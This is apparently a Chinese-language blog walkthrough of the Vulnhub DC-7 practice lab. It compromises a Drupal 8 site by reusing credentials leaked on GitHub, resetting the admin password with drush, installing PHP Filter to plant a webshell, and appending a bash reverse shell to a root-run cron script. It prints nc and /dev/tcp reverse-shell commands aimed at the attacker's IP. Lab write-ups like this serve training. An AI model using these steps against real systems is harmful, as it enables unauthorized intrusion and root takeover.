Vulnhub靶机入门系列DC:7

DC-7

靶机描述

DC-7 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
While this isn't an overly technical challenge, it isn't exactly easy.
While it's kind of a logical progression from an earlier DC release (I won't tell you which one), there are some new concepts involved, but you will need to figure those out for yourself. :-) If you need to resort to brute forcing or dictionary attacks, you probably won't succeed.
What you will need to do, is to think "outside" of the box.
Waaaaaay "outside" of the box. :-)
The ultimate goal of this challenge is to get root and to read the one and only flag.

只有一个flag并且提示不用暴力破解

知识点总结

​ ①常规端口扫描

​ ②信息收集

​ ③drush使用

​ ④写入webshell

​ ⑤将反弹shell写入root权限执行的sh脚本

常规扫描

arp-scan -l

目标IP:192.168.2.185

root@kali:~#nmap -sV -p- 192.168.2.185
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))

开启了ssh(22端口),web服务(80端口)

访问web

image

CMS是Drupal,并且提示不使用暴力破解

这个CMS和DC-1是一样的,DC-1是7这个是8

先使用searchsploit搜一下漏洞,测试了几个都不管用,msf里同样

然后再回到主页,发现左下角有个@DC7USER 这让我想到之前一个朋友借用网上的模板搭建一个网站,并且主页的下边也用@表明了模板的来源,然后就顺势找到了模板源码以及配置,且他的密码为默认的于是就getshell了

这里我们上网搜索一下DC7USER

image

可以发现在github上有关于DC7USER的信息,Twitter上也有,查看一下

image

Twitter上放的也是Github上的链接,进入GitHub

image

这里提示是DC7的一些源码

查看config.php配置文件


这个像是数据库的连接账号密码,先使用它登录一下网站

登录提示无法识别账号密码,那说明不是网站的登录密码

那我们现在只有剩下的ssh登录需要密码了,试一下

image

ssh可以登录,并且提示 You have new mail 有个新邮件

查看当前目录有个backups和mbox,查看mbox

image

记录的是一个运行backups.sh的脚本将数据库备份到website.sql的操作

查看一下脚本的权限

image

发现www-data可以对此脚本进行操作

那我们就需要通过web获得shell才能对这个文件进行修改操作

查看一下内容

image

有个drush和gpg

gpg好像没什么用,但是搜索drush发现有个更改密码的操作

#drush描述:dursh是drupal的shell模式,可以执行对drupal的管理命令
drush user-password username --password="passwd"  #更改密码

但是提示

Command user-password needs a higher bootstrap level to run - you will need to invoke drush from a more functional Drupal environment to  [error]
run this command.
The drush command 'user-password username' could not be executed. 

然后又去看了看drush介绍,知道使用drush命令要在网站根目录进行,然后进入网站根目录

image

成功修改密码,然后登陆网站

在content中发现可以对网站内容进行修改

image

那我们直接往里边写入一句话木马

image

但是这里好像不支持php只有html,查了查需要单独安装插件让它支持php语言

image

点击Install new module

image

将下边的URL填进去点Install

https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

安装成功后再返回上一个页面点List

image

在下边有个PHP Filter

image

选中安装,安装成功后就可以在网页写入php代码了

回到我们刚刚的编辑页面

image

选择PHP code插入一句话代码 选择save

image

然后访问http://192.168.2.185/node/1,使用菜刀或者蚁剑进行连接

注意:这里虽然直接访问主页http://192.168.2.185/

显示的内容和上边那个node/1这个链接显示的内容一样但其实我们写的shell并不在这里,我刚开始也是直接用主页链接连的蚁剑连不上,然后在主页的


image

这里点进去了edit再返回就会跳转到http://192.168.2.185/node/1这个页面,用这个链接就可以连上shell

然后我们在蚁剑上将shell反弹回我们的kali上

image
#kali机
nc -lvp 1234
#蚁剑
nc -e /bin/sh 192.168.2.138 1234

kali切换shell外壳

python -c 'import pty;pty.spawn("/bin/bash")'
image

现在我们可以对backups.sh文件进行修改了,我们可以把反弹shell写入sh文件中,因为sh文件是root执行的,所以返回的也是root权限

这里我们采用bash反弹shell

#在kali上监听1235端口
nc -lvp 1235
#将shell写入backups.sh中
echo "bash -i >& /dev/tcp/192.168.2.135/1235 0>&1" >> /opt/scripts/backups.sh

由邮件内容中发送的时间可知这个sh文件每隔15分钟会执行一次,耐心等待一会,获得shell,并进入root目录下查看flag

image

总结

常规流程:

​ ①扫描主机,发现目标

​ ②扫描目标端口,查看开启什么服务

​ ③从web入口找漏洞,熟悉一些web的漏洞

​ ④查看web的CMS以及插件,使用msf或者searchsploit搜索一下已存在的漏洞并利用

​ ⑤写入webshell 反弹给攻击机

​ ⑥提权

总之,安全之路还很长,需要更加努力,学的越多觉得懂的越少。
如有问题,欢迎指正!

你可能感兴趣的:(Vulnhub靶机入门系列DC:7)